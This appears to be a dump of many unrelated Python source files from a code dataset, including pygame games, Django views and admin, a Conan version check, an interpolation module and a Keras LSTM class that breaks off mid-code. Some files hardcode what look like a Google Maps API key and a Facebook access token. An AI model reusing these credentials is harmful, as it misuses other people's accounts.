'drx.webtest@gmail.com',\n [request.user.email],\n )\n messages.success(request, f'Successfully created an appointment!')\n return redirect('blog-home')\n else:\n form = BookingCreateForm()\n return render(request, 'Users/bookingform.html', {'form': form})","sub_path":"Users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"6496171","text":"import pygame\nimport random\nimport pygame.mixer\n\n\n# Define colors\n\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\nred = (255, 0, 0)\n\n\n# Class represents ball, derives from Sprite class in pygame\n\nclass Block(pygame.sprite.Sprite):\n # Constructor. Pass in the color of the block and its x and y pos.\n def __init__(self, color, width, height):\n # Call the parent class (Sprite) constructor\n pygame.sprite.Sprite.__init__(self)\n\n # Create an image of the block, and fill it with a color.\n # This could also be an image loaded from the disk.\n self.image = pygame.Surface([width, height])\n self.image.fill(color)\n\n # Fetch the rectangle object that has the dimensions of the image\n # image.\n # Update the position of this object by setting the values\n # of rect.x and rect.y\n self.rect = self.image.get_rect()\n\n\n# Initialize Pygame\npygame.init()\n\npygame.mixer.init(44100, -16, 2, 2048)\nwinsound = pygame.mixer.Sound('8516.wav')\ncollectsound = pygame.mixer.Sound('8516.wav')\n\n# Set width and height of screen\n\nscreen_width = 700\nscreen_height = 400\nscreen = pygame.display.set_mode([screen_width, screen_height])\npygame.display.set_caption('Block Attack!')\n\n# List of sprites. Each block is added to this list. List is managed by RenderPlain()\n\nblock_list = pygame.sprite.RenderPlain()\n\n# List of every sprite\n\nall_sprites_list = pygame.sprite.RenderPlain()\n\nfor i in range(50):\n # create instance of block\n block = Block(black, 20, 14)\n\n # set random location for the block\n block.rect.x = random.randrange(screen_width)\n block.rect.y = random.randrange(screen_height)\n\n # Add the block to the list of objects\n block_list.add(block)\n all_sprites_list.add(block)\n\n# Create red player block\nplayer = Block(red, 20, 15)\nall_sprites_list.add(player)\n\ndone = False\n\nclock = pygame.time.Clock()\n\nscore = 0\n\n# -------Main Program Loop-------\n\nwhile done == False:\n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done = True # Flag that we are done so we exit this loop\n\n # Clear screen\n screen.fill(white)\n\n # Get current mouse position. This returns the position as a list of two numbers\n pos = pygame.mouse.get_pos()\n\n # Fetch x and y out of list, like letters out of strung, set player object\n # to location of the mouse\n\n player.rect.x = pos[0]\n player.rect.y = pos[1]\n\n # Check if player block has collidied with anything...were still in a loop\n block_hit_list = pygame.sprite.spritecollide(player, block_list, True)\n\n # Check list of collisions.\n if len(block_hit_list) > 0:\n score += len(block_hit_list)\n print(score)\n collectsound.play()\n elif score == 50:\n print('YOU WIN!!\\n')\n done = True\n winsound.play()\n\n # Draw all the sprites\n all_sprites_list.draw(screen)\n\n # Limit to 60 frames per second\n clock.tick(10)\n\n # Update screen\n pygame.display.flip()\n\npygame.quit()\n","sub_path":"pygame/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"159979501","text":"# Author: Cole Carter ctc5367@psu.edu\n# Collaborator: Mark Del Grande mxd5728@psu.edu\n# Collaborator: Zak Young zjy5116@psu.edu\n# Collaborator: Ethan Moyer epm5482@psu.edu\n# Section: 5\n# Breakout: 4\n\ndef getLetterGrade(grade):\n if grade >= 93.0:\n return(\"A\")\n elif grade >= 90.0:\n return(\"A-\")\n elif grade >= 87.0:\n return(\"B+\")\n elif grade >= 83.0:\n return(\"B\")\n elif grade >= 80.0:\n return(\"B-\")\n elif grade >= 77.0:\n return(\"C+\")\n elif grade >= 70.0:\n return(\"C\")\n elif grade >= 60.0:\n return(\"D\")\n else:\n return(\"F\")\n\ndef run():\n grade = input(\"Enter your CMPSC 131 grade: \")\n print(f\"Your letter grade for CMPSC 131 is {getLetterGrade(float(grade))}.\")\n\nif __name__ == \"__main__\":\n run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"471312441","text":"import audio_extractor2 as audio\nimport sys\n\n# argv[1] : url\n# argv[2] : output file name\n# python3 url.py url filenmae(확장자x)\n\ndef main():\n url = sys.argv[1]\n output_file_name = sys.argv[2]\n # print(url)\n # print(output_file_name)\n\n #videoInput = audio.filesInput()\n\n # YouTube links are handled different as requires a download\n if audio.youtubeLink(url): # youtube 링크가 맞는지 검사.\n #audio.OverWriting(file_name, 'convert-result.flac') # 전에 있던 file_name.flac, convert-result.flac 파일 삭제.\n audio.youtubeDownload(url) # url에 있는 youtube 비디오 다운로드.\n audio.convertAudio('immediate.flac', output_file_name+'.flac') # 형식에 맞게 convert.\n #shutil.move('convert-result.flac', 'flac') # 저장된 파일을 flac 폴더에 이동.\n\n # YouTube 링크가 유효하지 않는 경우.\n else:\n # 에러메세지\n print('이 링크는 유효하지 않습니다.')\n return\n\n\nif __name__ == '__main__':\n main()","sub_path":"backupFolder/yw_source/mysite/capstone17/media/url.py","file_name":"url.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"273444323","text":"from conans.client.cache.cache import ClientCache\nfrom semver import satisfies, Range\nfrom conans import __version__ as client_version\nfrom conans.errors import ConanException\n\n\ndef check_required_conan_version(cache_folder, out):\n \"\"\" Check if the required Conan version in config file matches to the current Conan version\n\n When required_conan_version is not configured, it's skipped\n When required_conan_version is configured, Conan's version must matches the required\n version\n When it doesn't match, an ConanException is raised\n\n :param cache_folder: Conan cache folder\n :param out: Output stream\n :return: None\n \"\"\"\n cache = ClientCache(cache_folder, out)\n required_version = cache.config.required_conan_version\n if required_version:\n try:\n Range(required_version, False)\n except ValueError:\n raise ConanException(\"The required version expression '{}' is not valid.\"\n .format(required_version))\n result = satisfies(client_version, required_version)\n if not result:\n raise ConanException(\"The current Conan version ({}) does not match to the required\"\n \" version ({}).\".format(client_version, required_version))\n","sub_path":"conans/client/conf/required_version.py","file_name":"required_version.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"74167621","text":"fid = open('input.txt')\nT = fid.readline().strip()\nfout = open('output.txt','w')\n\nimport numpy as np\n\n#Index the query locations 0 through K^C-1, call the location j\n#Imagine just one G, the hardest case. There are locations 0,...,K locations\n#for the G to be.\n\n#Given a pair of locations in 0,K that we want to check for Gs, we can check C\n#of them at once. This function returns a location that will check those C.\n#It will always be unique to the particular tuple given.\n#x is a set of things we want to check (in np array)\n#If we give a shorter array, should handle it gracefully\ndef test_index(x,C,K):\n return sum(np.multiply(K**(C-np.arange(len(x))-1),x))\n\n#This just breaks up the locations we need into pairs, and finds the test\n#location for each one\ndef get_idx(C,K):\n S = int(np.ceil(K/float(C)))\n test_pts = []\n for i in range(S):\n x = np.arange(i*C,min((i+1)*C,K))\n test_pts.append(test_index(x,C,K))\n return test_pts\n\nfor i,line in enumerate(fid):\n line = line.strip()\n if len(line)==0:\n continue\n K, C, S = [int(x) for x in line.split(' ')]\n if S < int(np.ceil(K/float(C))):\n out = 'IMPOSSIBLE'\n else:\n idx = get_idx(C,K)\n #As we convert to string, shift every index to one-indexed\n out = ' '.join([str(d+1) for d in idx])\n\n fout.write('Case #%d: %s\\n' % (i+1, out))\n","sub_path":"codes/CodeJamCrawler/16_0_4/mgs/small.py","file_name":"small.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"324884429","text":"#!/usr/bin/python\n\nimport argparse\n\n'''\niterate through prices and compare i[0] to price of +1 and check which is bigger\nif i is less than +1 calculate difference (profit) and append to new array\nthen iterate through new array comparing to find largest number\nI HAVE NO IDEA WHAT IM DOING\n'''\n\n\ndef find_max_profit(prices):\n new_arr = []\n largest = prices[1] - prices[0]\n for i in range(0, len(prices)):\n for j in range(0, len(prices)):\n if i < j:\n profit = prices[j] - prices[i]\n new_arr.append(profit)\n for i in range(0, len(new_arr)):\n \n if largest < new_arr[i]:\n largest = new_arr[i]\n return largest\n \n \n \nprices = [100, 90, 80, 50, 20, 10] \n \nprint(find_max_profit(prices))\n \n\n\n# if __name__ == '__main__':\n# # This is just some code to accept inputs from the command line\n# parser = argparse.ArgumentParser(description='Find max profit from prices.')\n# parser.add_argument('integers', metavar='N', type=int, nargs='+', help='an integer price')\n# args = parser.parse_args()\n\n# print(\"A profit of ${profit} can be made from the stock prices {prices}.\".format(profit=find_max_profit(args.integers), prices=args.integers))","sub_path":"stock_prices/stock_prices.py","file_name":"stock_prices.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"483752994","text":"from django.contrib import admin\nfrom dictionary.models import GeoLocationType, Dictionary, Phrase\n\nclass GeoLocationTypeAdmin(admin.ModelAdmin):\n pass\n\nadmin.site.register(GeoLocationType, GeoLocationTypeAdmin)\n\nclass PhraseInline(admin.StackedInline):\n model = Phrase\n\nclass DictionaryAdmin(admin.ModelAdmin):\n fieldsets = (\n (None, {\n 'fields': ('name',)\n }),\n ('Types', {\n 'classes': ('collapse',),\n 'fields': ('types',)\n })\n )\n\n inlines = [\n PhraseInline,\n ]\n search_fields = ['name']\n filter_horizontal = ('types',)\n\nadmin.site.register(Dictionary, DictionaryAdmin)\n","sub_path":"dictionary/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"556276680","text":"import random\nsj = random.randint(0,100)\n\ncount = 1\n\nwhile count <= 5:\n\tguess = int(input('Please input a number: '))\n\tif guess == sj:\n\t\tprint('You are good!')\n\t\tbreak\n\telif guess < sj:\n\t\tprint('The number is smaller than right answer!')\n\telse:\n\t\tprint('The number is bigger than right answer!')\n\tcount += 1\n\tif count == 6:\n\t\tprint('sorry,your IQ is limited,it is not suitable for this kind of game,thank you for your participation')\n","sub_path":"yangyakun/guessnumber.py","file_name":"guessnumber.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"196522091","text":"# -*- coding: utf-8 -*-\nimport csv\nimport cv2\nimport time\n\ndebug = False\n\n#Submodule\nimport filter\nimport bearbeitung\nimport berechnung\nimport lernen\n\nmax = 30\n\nlearners = None\n\ndef run(csvPath, imagesPath, pathZugeschnitten=None, pathGeeigneteIDs=None, pathKennzahlen=None):\n \"\"\"\n Diese Funktion führt Unterfunktionen aus anderen Modulen aus. Sie speichert wenn gewünscht Zwischenresultate ab.\n \"\"\"\n\n tic = time.clock()\n\n\n\n if pathGeeigneteIDs is not None:\n open(pathGeeigneteIDs, 'w+').close()\n fileGeeigneteIDs = open(pathGeeigneteIDs, 'a')\n\n\n\n if pathKennzahlen is not None:\n open(pathKennzahlen, 'w+').close()\n fileKennzahlen = open(pathKennzahlen, 'a')\n\n fehlerHafteIDs = []\n #iteriere durch CSV-Datei trainings_solutions\n with open(csvPath, 'r') as trainingSolutionsCSV:\n reader = csv.DictReader(trainingSolutionsCSV, delimiter=',')\n\n gueltigeRows = []\n kennzahlen = []\n\n\n\n index = 0\n for row in reader:\n #Wenn gültig, bearbeiten\n if filter.istGeeignet(row):\n\n\n # print(\"Geeignete Galaxie gefunden: \" + row['GalaxyID'])\n galaxie = cv2.imread(imagesPath + \"/\" + row['GalaxyID'] + \".jpg\")\n\n if debug:\n print(\"Zeige Originalbild der Galaxie...\")\n cv2.imshow(\"Debug\", galaxie)\n cv2.waitKey(0)\n\n try:\n zugeschnitten = bearbeitung.zuschneiden(galaxie)\n\n if pathZugeschnitten is not None:\n cv2.imwrite(pathZugeschnitten + \"/\" + row['GalaxyID'] + \".jpg\", zugeschnitten)\n except:\n print(\"Beim zuschneiden/vergoessern von \" + row['GalaxyID'] + \" gab es einen Fehler.\")\n fehlerHafteIDs.append(row['GalaxyID'])\n continue\n\n\n\n if debug:\n print(\"Zeige zugeschnittene Galaxie...\")\n cv2.imshow(\"Debug\", zugeschnitten)\n cv2.waitKey(0)\n\n kennzahl = berechnung.kennzahl(zugeschnitten)\n kennzahlen.append(kennzahl)\n\n if pathKennzahlen is not None:\n fileKennzahlen.write(row['GalaxyID'] + \",\" + str(kennzahl) + \"\\n\")\n print(\"Berechnete Kennzahl von \" + row['GalaxyID'] + \": \" + str(kennzahl))\n\n gueltigeRows.append(row)\n\n if pathGeeigneteIDs is not None:\n fileGeeigneteIDs.write(row['GalaxyID'] + \",\")\n\n if len(gueltigeRows) == max:\n break\n index += 1\n\n if pathGeeigneteIDs is not None:\n fileGeeigneteIDs.close()\n\n global learners\n learners = lernen.learnFromData(gueltigeRows, kennzahlen)\n print(\"Learning abgeschlossen.\")\n\n #Nun Test ausführen\n testKennzahlen = []\n predictions71 = []\n predictions72 = []\n predictions73 = []\n real71 = []\n real72 = []\n real73 = []\n\n anzahlTested = 0\n for row in reader:\n\n\n galaxie = cv2.imread(imagesPath + \"/\" + row['GalaxyID'] + \".jpg\")\n\n try:\n zugeschnitten = bearbeitung.zuschneiden(galaxie)\n if pathZugeschnitten is not None:\n cv2.imwrite(pathZugeschnitten + \"/\" + row['GalaxyID'] + \".jpg\", zugeschnitten)\n except:\n print(\"Beim zuschneiden/vergoessern von \" + row['GalaxyID'] + \" gab es einen Fehler.\")\n fehlerHafteIDs.append(row['GalaxyID'])\n continue\n\n\n\n kennzahl = berechnung.kennzahl(zugeschnitten)\n if pathKennzahlen is not None:\n fileKennzahlen.write(row['GalaxyID'] + \",\" + str(kennzahl) + \"\\n\")\n print(\"Berechnete Kennzahl von \" + row['GalaxyID'] + \": \" + str(kennzahl))\n testKennzahlen.append(testKennzahlen)\n\n real71.append(float(row['Class7.1']))\n # print(\"Prediction für Class7.1: \" + str(real71[-1]))\n predictions71.append(learners[0].predict(kennzahl))\n\n real72.append(float(row['Class7.2']))\n predictions72.append(learners[1].predict(kennzahl))\n\n real73.append(float(row['Class7.3']))\n predictions73.append(learners[2].predict(kennzahl))\n\n anzahlTested+=1\n if anzahlTested == max:\n break\n if pathKennzahlen is not None:\n fileKennzahlen.close()\n #Mittlerer quadratischer Fehler\n # durchschnitt((wahrer_wert - vorhergesagte_wert)**2)\n quadratischeFehler71 = []\n quadratischeFehler72 = []\n quadratischeFehler73 = []\n for i in range(len(real71)):\n quadratischeFehler71.append((real71[i]-predictions71[i])**2)\n quadratischeFehler72.append((real72[i]-predictions73[i])**2)\n quadratischeFehler73.append((real73[i]-predictions73[i])**2)\n\n toc = time.clock() - tic\n print('bearbeitungs zeit: ' + str(toc))\n print(\"Mittlerer quadratischer Fehler für 7.1:\" + str(sum(quadratischeFehler71)/len(quadratischeFehler71)))\n print(\"Mittlerer quadratischer Fehler für 7.2:\" + str(sum(quadratischeFehler72)/len(quadratischeFehler72)))\n print(\"Mittlerer quadratischer Fehler für 7.3:\" + str(sum(quadratischeFehler73)/len(quadratischeFehler73)))\n print(\"Fehler IDs: \" + str(fehlerHafteIDs))\n\n\n\ndef predict(imagePath):\n if learners is not None:\n galaxie = cv2.imread(imagePath)\n # try:\n zugeschnitten = bearbeitung.zuschneiden(galaxie)\n\n kennzahl = berechnung.kennzahl(zugeschnitten)\n\n prediction71 = learners[0].predict(kennzahl)\n prediction72 = learners[1].predict(kennzahl)\n prediction73 = learners[2].predict(kennzahl)\n\n print(\"Predictions für Class7.1: \" + str(prediction71))\n print(\"Predictions für Class7.2: \" + str(prediction72))\n print(\"Predictions für Class7.3: \" + str(prediction73))\n\n # except:\n # print(\"Beim zuschneiden/vergoessern von \" + imagePath + \" gab es einen Fehler.\")\n\n else:\n print(\"Noch kein Machine Learning gemacht.\")","sub_path":"New Structure/makro.py","file_name":"makro.py","file_ext":"py","file_size_in_byte":6262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"596472395","text":"import sys\nsys.path.insert(0 ,'../')\n\nimport EleNa\nfrom EleNa.findRoute import optimalElevGain\nfrom EleNa.Node import Node\nfrom EleNa.makeNodes import makeGraph\nfrom googlemaps import Client\nfrom geopy.distance import vincenty\n\nimport googlemaps\nfrom googlemaps.elevation import elevation_along_path\n\ngmaps = googlemaps.Client(key='AIzaSyCtnZS7miejfbAh1FsKUBhxil1VXa0EicY')\nelevPath = elevation_along_path(gmaps, path=[(36.578581,-118.291994),(36.23998,-116.83171)], samples=10)\n\ngmaps = Client(key='AIzaSyCtnZS7miejfbAh1FsKUBhxil1VXa0EicY')\nneighbors = []\nlocations = [[(item['location']['lat'], item['location']['lng'])] for item in elevPath]\ndistances = [[0] for i in range(len(elevPath))]\nfor i in range(len(locations)):\n if i > 0:\n locations[i].append(locations[i-1][0])\n distances[i].append(vincenty(locations[i][0], locations[i-1][0]).kilometers)\n if i < len(elevPath)-1:\n locations[i].append(locations[i+1][0])\n distances[i].append(vincenty(locations[i][0], locations[i+1][0]).kilometers)\n\nprint(locations)\nprint(distances)\n\ngraph = makeGraph(locations, distances)\n\n\nfor k,v in graph.items():\n print(k)\n print(v.latitude, v.longitude, v.elevation, v.neighbors)\n\nroute, elevGain = optimalElevGain(graph[locations[0][0]], graph[locations[-1][0]], 0.5)\n\nprint(len(route), elevGain)\n\nroute, elevGain = optimalElevGain(graph[locations[-1][0]], graph[locations[0][0]], 0.5)\n\nprint(len(route), elevGain)","sub_path":"Test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"562609950","text":"import requests\nimport json\nBASE_URL = \"https://graph.facebook.com/v2.12/\"\nTOKEN = \"EAACEdEose0cBAJhyT1s1ue5GIaZAHnEhWBWabfSyIg6usN3XqbcRiK1NN0XZBIRWlFiYj4lZCrQFCbryVahXg8DRNtUNMqTwL7uqdWdrmP5OEEsVaGAZCpEd48yp2v1EJBGMwwKTQIUn8LSOyXdnlGunXqZBrfm4uRqlOnPRgykC6i5ZCBaZCITSSiVUpqm9Rm0wBToGn9mHAZDZD\"\n\nclass ExtractData:\n def __init__(self, token):\n self.token = token\n\n\n def get_friends(self, userID):\n f_url = BASE_URL + userID + \"/friends?access_token={}\".format(self.token)\n r = requests.get(url=f_url)\n return r.json()\n\n\n def get_user(self, userID):\n f_url = BASE_URL + userID + \"/?access_token={}\".format(self.token)\n r = requests.get(url=f_url)\n return r.json()\n\n def get_likes(self, user_id):\n f_url = BASE_URL + user_id + \"/likes?access_token={}\".format(self.token)\n r = requests.get(url=f_url)\n return r.json()\n\n def get_posts(self, user_id):\n f_url = BASE_URL + user_id + \"/posts?access_token={}\".format(self.token)\n r = requests.get(url=f_url)\n return r.json()\n\n def get_graph_likes(self, user_id):\n list_likes = self.get_likes(user_id)['data'][:5]\n user_actual = self.get_user(user_id)\n print(user_actual)\n return_list = []\n lists = []\n for page in list_likes:\n l = self.get_likes(page[\"id\"])['data'][:5]\n return_list.append({\n 'id': page['id'],\n 'name': page['name'],\n 'like_pages': l\n })\n return_list.append({\n 'id': user_actual['id'],\n 'name': user_actual['name'],\n 'like_pages': list_likes\n })\n print(json.dumps(return_list))\n return return_list\n\n\nextra = ExtractData(token=TOKEN)\n\nprint(extra.get_likes(\"113822656146338\"))","sub_path":"PROJETLYES/extract_data.py","file_name":"extract_data.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"254935329","text":"import numpy\nimport math\nimport matplotlib.pyplot as plt\n\nfrom cubic_interpolation import TrajectoryWayPoint\n\n\nclass QuinticSetment:\n def __init__(self, start_state, end_state):\n self.param = [0 for _ in range(6)]\n self.start_state = start_state\n self.end_state = end_state\n self.evaluate()\n\n def evaluate(self):\n p0 = self.start_state.pos\n p1 = self.end_state.pos\n v0 = self.start_state.vel\n v1 = self.end_state.vel\n a0 = self.start_state.acc\n a1 = self.end_state.acc\n\n t = self.end_state.time - self.start_state.time\n\n if t == 0.0:\n self.param[0] = p0\n self.param[1] = v0\n self.param[2] = 0.5*a0\n return\n\n tp2 = t**2\n tp3 = t**3\n tp4 = t**4\n tp5 = t**5\n\n self.param[0] = p0\n self.param[1] = v0\n self.param[2] = 0.5*a0\n self.param[3] = (20.0*(p1 - p0) - (12.0*v0 + 8.0*v1)*t + (a1 - 3.0*a0)*tp2) / (2.0*tp3)\n self.param[4] = (30.0*(p0 - p1) + (16.0*v0 + 14.0*v1)*t + (3.0*a0 - 2.0*a1)*tp2) / (2.0*tp4)\n self.param[5] = (12.0*(p1 - p0) - 6.0*(v0 + v1)*t + (a1 - a0)*tp2) / (2.0*tp5)\n\n def sample(self, time):\n if time < self.start_state.time:\n return TrajectoryWayPoint(time, self.start_state.pos, 0, 0)\n if time > self.end_state.time:\n return TrajectoryWayPoint(time, self.end_state.pos, 0, 0)\n t = time - self.start_state.time\n\n tp2 = t**2\n tp3 = t**3\n tp4 = t**4\n tp5 = t**5\n \n a = self.param\n pos = a[0] + t*a[1] + tp2*a[2] + tp3*a[3] + tp4*a[4] + tp5*a[5]\n vel = a[1] + 2.0*t*a[2] + 3*tp2*a[3] + 4*tp3*a[4] + 5*tp4*a[5]\n acc = 2.0*a[2] + 6.0*t*a[3] + 12.0*tp2*a[4] + 20.0*tp3*a[5]\n\n return TrajectoryWayPoint(time, pos, vel, acc)\n\n\nif __name__ == \"__main__\":\n motion_period = 10\n first_interp_period = 0.01\n second_interp_period = 0.001\n amplitude = 100\n start_time = 0\n end_time = 10\n i = start_time\n\n pos = []\n vel = []\n acc = []\n x = []\n pos0 = []\n vel0 = []\n acc0 = []\n x0 = []\n while i < end_time:\n start_pos = math.sin((i/motion_period)*2*math.pi)*amplitude\n end_pos = math.sin(((i+first_interp_period)/motion_period)*2*math.pi)*amplitude\n start_vel = math.cos((i/motion_period)*2*math.pi)*amplitude\n end_vel = math.cos(((i+first_interp_period)/motion_period)*2*math.pi)*amplitude\n start_acc = math.sin((i/motion_period)*2*math.pi + math.pi)*amplitude\n end_acc = math.sin(((i+first_interp_period)/motion_period)*2*math.pi + math.pi)*amplitude\n start_point = TrajectoryWayPoint(i, start_pos, start_vel, start_acc)\n end_point = TrajectoryWayPoint(i+first_interp_period, end_pos, end_vel, end_acc)\n seg = QuinticSetment(start_point, end_point)\n j = i\n while j < (i + first_interp_period) :\n x.append(j)\n p = seg.sample(j)\n pos.append(p.pos)\n vel.append(p.vel)\n acc.append(p.acc)\n j += second_interp_period\n \n pos0.append(start_pos)\n vel0.append(start_vel)\n acc0.append(start_acc)\n x0.append(i)\n i += first_interp_period\n \n\n\n\n\n\n\n '''a = TrajectoryWayPoint(0,0,10,0)\n b = TrajectoryWayPoint(1,10,0,0)\n seg = CubicSegment(a, b)\n i = 0\n pos = []\n vel = []\n acc = []\n x = []\n while i < 1:\n x.append(i)\n p = seg.sample(i)\n pos.append(p.pos)\n vel.append(p.vel)\n acc.append(p.acc)\n i += 0.001\n '''\n\n plt.subplot(311)\n plt.plot(x, pos)\n plt.plot(x0, pos0, \"x\")\n plt.title(\"pos\")\n \n plt.subplot(312)\n plt.plot(x, vel)\n plt.plot(x0, vel0, \"x\")\n plt.title(\"vel\")\n\n plt.subplot(313)\n plt.plot(x, acc)\n plt.plot(x0, acc0, \"x\")\n plt.title(\"acc\")\n\n plt.show()\n","sub_path":"quintic_interpolation.py","file_name":"quintic_interpolation.py","file_ext":"py","file_size_in_byte":3922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"85251071","text":"\"\"\"\nfrom progress_bar import ProgressBar\n\npbar = ProgressBar(steps)\npbar.upd()\n\"\"\"\n\nimport os\nimport sys\nimport math\nos.system('') #enable VT100 Escape Sequence for WINDOWS 10 Ver. 1607\n\nfrom shutil import get_terminal_size\nimport time\n\nclass ProgressBar(object):\n '''A progress bar which can print the progress\n modified from https://github.com/hellock/cvbase/blob/master/cvbase/progress.py\n '''\n\n def __init__(self, task_num=0, bar_width=50, start=True):\n self.task_num = task_num\n max_bar_width = self._get_max_bar_width()\n self.bar_width = (bar_width if bar_width <= max_bar_width else max_bar_width)\n self.completed = 0\n if start:\n self.start()\n\n def _get_max_bar_width(self):\n terminal_width, _ = get_terminal_size()\n max_bar_width = min(int(terminal_width * 0.6), terminal_width - 50)\n if max_bar_width < 10:\n print('terminal is small ({}), make it bigger for proper visualization'.format(terminal_width))\n max_bar_width = 10\n return max_bar_width\n\n def start(self, task_num=None):\n if task_num is not None:\n self.task_num = task_num\n if self.task_num > 0:\n sys.stdout.write('[{}] 0/{}, elapsed: 0s, ETA:\\n{}\\n'.format(' ' * self.bar_width, self.task_num, 'Start...'))\n else:\n sys.stdout.write('completed: 0, elapsed: 0s')\n sys.stdout.flush()\n self.start_time = time.time()\n\n def update(self, msg='In progress...'):\n self.completed += 1\n elapsed = time.time() - self.start_time + 0.0000000000001\n fps = self.completed / elapsed if elapsed>0 else 0\n if self.task_num > 0:\n percentage = self.completed / float(self.task_num)\n eta = int(elapsed * (1 - percentage) / percentage + 0.5)\n mark_width = int(self.bar_width * percentage)\n bar_chars = 'X' * mark_width + '-' * (self.bar_width - mark_width) # ▒ ▓ █\n sys.stdout.write('\\033[2A') # cursor up 2 lines\n sys.stdout.write('\\033[J') # clean the output (remove extra chars since last display)\n try:\n sys.stdout.write('[{}] {}/{}, rate {:.3g}s, time {}s, left {}s \\n{}\\n'.format(\n bar_chars, self.completed, self.task_num, 1./fps, shortime(elapsed), shortime(eta), msg))\n except:\n sys.stdout.write('[{}] {}/{}, rate {:.3g}s, time {}s, left {}s \\n{}\\n'.format(\n bar_chars, self.completed, self.task_num, 1./fps, shortime(elapsed), shortime(eta), '<< unprintable >>'))\n else:\n sys.stdout.write('completed {}, time {}s, {:.1f} tasks/s'.format(self.completed, int(elapsed + 0.5), fps))\n sys.stdout.flush()\n\n def upd(self, msg=None):\n start = self.start_time\n steps = self.task_num\n step = self.completed + 1 # self will be updated below\n rate = (time.time() - start) / float(step)\n finaltime = time.asctime(time.localtime(start + steps * rate))\n left_sec = (steps - step) * rate\n left_sec = int(left_sec + 0.5) # for proper rounding\n add_msg = ' %ss left, end %s' % (shortime(left_sec), finaltime[11:16])\n msg = add_msg if msg==None else add_msg + ' ' + str(msg)\n self.update(msg)\n return self.completed\n\n def reset(self, count=None, newline=False):\n self.start_time = time.time()\n if count is not None:\n self.task_num = count\n if newline is True:\n sys.stdout.write('\\n\\n')\n\ndef time_days(sec):\n return '%dd %d:%02d:%02d' % (sec/86400, (sec/3600)%24, (sec/60)%60, sec%60)\ndef time_hrs(sec):\n return '%d:%02d:%02d' % (sec/3600, (sec/60)%60, sec%60)\ndef shortime(sec):\n if sec < 60:\n time_short = '%d' % (sec)\n elif sec < 3600:\n time_short = '%d:%02d' % ((sec/60)%60, sec%60)\n elif sec < 86400:\n time_short = time_hrs(sec)\n else:\n time_short = time_days(sec)\n return time_short\n\n","sub_path":"src/util/progress_bar.py","file_name":"progress_bar.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"136122200","text":"import numpy as np\nimport logging\nimport random\nfrom keras.models import Sequential\nfrom keras.layers import Dense, TimeDistributed\nfrom keras.layers import Dropout\nfrom keras.layers import Flatten\nfrom keras.layers import LSTM\nfrom keras.layers import Embedding\nfrom keras.layers import Activation\nfrom keras.utils import np_utils\nfrom keras.callbacks import ModelCheckpoint\nfrom keras import optimizers\n\nlogging.basicConfig(level = logging.INFO)\nlog = logging.getLogger()\n\n\nclass MidiLSTM:\n def __init__(self, seq_length=60, units=512, dropout_factor=0.5, lr=.05, rho=0.9, decay=0,\n validation_split=.05, epochs=100, batch_size=128, initial_epoch=0):\n self.seq_length = seq_length\n self.units = units\n self.dropout_factor = dropout_factor\n self.lr = lr\n self.rho = rho\n self.decay = decay\n self.validation_split = validation_split\n self.epochs = epochs\n self.batch_size = batch_size\n self.initial_epoch = initial_epoch\n self._model = None\n\n @property\n def model(self, dim):\n if not self._model:\n model = Sequential()\n model.add(LSTM(self.units, input_shape = (None, dim), return_sequences=True)) \n model.add(Dropout(0.8))\n model.add(LSTM(self.units, return_sequences=True))\n model.add(Dropout(0.8))\n model.add(LSTM(self.units, return_sequences=True))\n model.add(Dropout(0.8))\n model.add(TimeDistributed(Dense(dim)))\n model.add(Activation('softmax'))\n model.compile(loss='categorical_crossentropy', optimizer = optimizers.RMSprop(lr=self.lr, rho=self.rho, decay=self.decay))\n self._model = model\n\n return model\n \n def build_training_sequences(self, notes, step=1):\n ''' Prepare the sequences used by the LSTM '''\n \n sequence_in = []\n sequence_out = []\n\n # get set of all elements in corpus\n elements = sorted(set(item for item in notes))\n # create a dictionary to map pitches to integers\n element_to_int = dict((element, number) for number, element in enumerate(elements))\n # create input sequences and the corresponding outputs\n for i in range(0, len(notes) - self.seq_length + 1, step):\n cur_seq = notes[i:i + self.seq_length]\n next_seq = notes[i+1 : i + 1 + self.seq_length]\n sequence_in.append(cur_seq)\n sequence_out.append(next_seq)\n\n log.info(\"Length of sequences: {}\".format(len(sequence_in)))\n #init enconde vectors\n encoded_input = np.zeros((len(sequence_in), self.seq_length, len(elements)), dtype=np.bool)\n encoded_output = np.zeros((len(sequence_in), self.seq_length, len(elements)), dtype=np.bool)\n #encode input and output sequences\n for i, sequence in enumerate(sequence_in):\n for j, element in enumerate(sequence):\n 